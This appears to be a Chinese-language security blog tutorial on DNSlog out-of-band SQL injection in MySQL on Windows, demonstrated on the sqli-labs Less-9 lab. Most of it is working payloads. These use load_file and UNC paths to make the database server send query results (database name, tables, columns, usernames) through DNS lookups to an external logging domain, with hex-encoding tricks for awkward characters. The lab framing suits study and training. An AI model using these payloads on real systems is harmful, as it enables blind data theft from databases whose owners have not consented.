@Adminxe
dnslog原理简介:
简单理解就是在利用注入漏洞的时候,页面无回显,无法直接获得回显信息的情况下,目标可以发起DNS请求,这时就可以尝试通过DNSlog注入的方式把想获得的数据外带出来。
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入。
mysql下的dnslog注入:
利用条件:secure_file_priv 不能为NULL,仅支持 Windows但不支持 Linux ,原因如下:
load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的
1.show variables like
‘%secure%’; //查看secure_file_priv的配置情况
查询当前数据库:
and load_file(concat(‘\\\\’,(select
database()),’.xtftm5.ceye.io\\sql’)) //xtftm5.ceye.io根据ceye平台给你的域名更改,\\sql是域名目录,随意即可,select database()换成sql注入payload即可
查询表名:
and load_file(concat(‘\\\\’,(select table_name from
information_schema.tables where table_schema=’security’ limit
0,1),’.xtftm5.ceye.io\\sql’))
查询列名:
and load_file(concat(‘\\\\’,(select column_name from
information_schema.columns where table_schema=’security’ and table_name=’users’
limit 0,1),’.xtftm5.ceye.io\\sql’))
查询数据:
and load_file(concat(‘\\\\’,(select username from
users limit 0,1),’.xtftm5.ceye.io\\sql’))
实战演示sqli的第九关 :
查询当前数据库名:
http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select
database()),’.xtftm5.ceye.io\\sql’))–+
可以看到这里成返回了当前数据库的名字
查询当前数据库的第一个表名:
http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select
table_name from information_schema.tables where table_schema=’security’ limit
0,1),’.xtftm5.ceye.io\\sql’))–+
可以看到这里成返回了第一个表的名字
查询第users表一个列名:
http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select
column_name from information_schema.columns where table_schema=’security’ and
table_name=’users’ limit 0,1),’.xtftm5.ceye.io\\sql’))–+
可以看到这里成返回了users表第一列的名字
查询users表的username列的数据:
http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select
username from users limit 0,1),’.xtftm5.ceye.io\\sql’))–+
可以看到这里成返回了username第一个的数据
需要注意的点:
1.查询当前用户时,因为结果中有@符号,使用dnslog注入时,需要使用hex函数进行转码,再将查询到的hex转码后的数据解码即可,如下:
http://127.0.0.1/sqli/Less-9/?id=1‘ and
load_file(concat(‘\\\\’,(select hex(user())),’.xtftm5.ceye.io\\sql’))–+
2.如果使用group_concat函数进行快读查询,也同样需要hex转码,利用如下:
http://127.0.0.1/sqli/Less-9/?id=1‘ and
load_file(concat(‘\\\\’,(select hex(group_concat(table_name)) from information_schema.tables
where table_schema=’security’),’.xtftm5.ceye.io\\sql’))–+
查询到的是hex编码的结果
利用工具hex解码一下即可
喜欢 (4)or分享 (0)